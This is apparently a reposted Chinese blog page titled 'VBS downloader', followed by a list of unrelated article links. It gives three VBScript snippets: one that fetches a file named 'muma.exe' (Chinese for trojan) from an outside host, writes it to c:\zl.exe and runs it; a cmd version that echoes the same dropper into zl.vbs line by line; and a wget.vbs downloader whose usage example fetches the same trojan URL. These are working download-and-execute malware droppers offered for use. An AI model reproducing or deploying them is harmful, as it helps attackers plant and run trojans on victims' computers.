VBS下载者
来源:互联网 发布:哈利波特三人组 知乎 编辑:程序博客网 时间:2024/05/21 21:34
一、VBS下载者:
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://www.03389.com/muma.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\zl.exe",2
wscript.sleep 1000
Shell.Run ("c:\zl.exe") '延迟过后执行下载文件
二、cmd下执行的版本:
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs
echo Post.Open "GET","http://www.03389.com/muma.exe",0 >>zl.vbs
echo Post.Send() >>zl.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs
echo aGet.Mode = 3 >>zl.vbs
echo aGet.Type = 1 >>zl.vbs
echo aGet.Open() >>zl.vbs
echo aGet.Write(Post.responseBody) >>zl.vbs
echo aGet.SaveToFile "c:\zl.exe",2 >>zl.vbs
echo wscript.sleep 1000 >>zl.vbs
echo Shell.Run ("c:\zl.exe") >>zl.vbs
三、wget.vbs
on error resume next
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
iUser=LCase(Wscript.Arguments(2))
iPass=LCase(Wscript.Arguments(3))
set xPost=CreateObject("Microsoft.XMLHTTP")
if iUser="" and iPass="" then
xPost.Open "GET",iRemote,0
else
xPost.Open "GET",iRemote,0,iUser,iPass
end if
xPost.Send()
set sGet=CreateObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2
使用方法:cscript wget.vbs http://www.03389.com/muma.exe
- VBS下载者
- VBS下载者
- 解密一个VBS下载者
- vbs下载者和powershell下载器
- VBS做的一个木马下载者
- 新的VBS下载者代码
- VBS下载者助以一臂之力
- echo写vbs下载者木马
- 使用vbs下载文件
- 使用vbs下载文件
- vbs下载文件
- VBS自动下载
- 一句话vbs下载
- cmd 中echo 写入vbs下载者木马
- 远程下载脚本downfile.vbs
- 新的VBS下载方法
- vbs脚本实现“多线程”下载
- vbs
- extjs之Panel
- C函数指针
- 《数据结构和Java集合框架第三版》读书笔记(六)LinkedList双向链表
- 使用MediaPlayer为组件的各种状态播放声音效果(Button点击,Listview上下拉)
- 计算歌手的最后得分一
- VBS下载者
- “初始化”: 从“ULONGLONG”转换到“unsigned int”,可能丢失数据
- Android之drawable state各个属性详解
- JavaScript中的类型转换
- 26-JavaScript-面向对象-三大特征-重载和覆盖
- Java计算两个时间差
- OpenGL基础知识
- EXTJS4 Array 使用方法总结
- map文件介绍及使用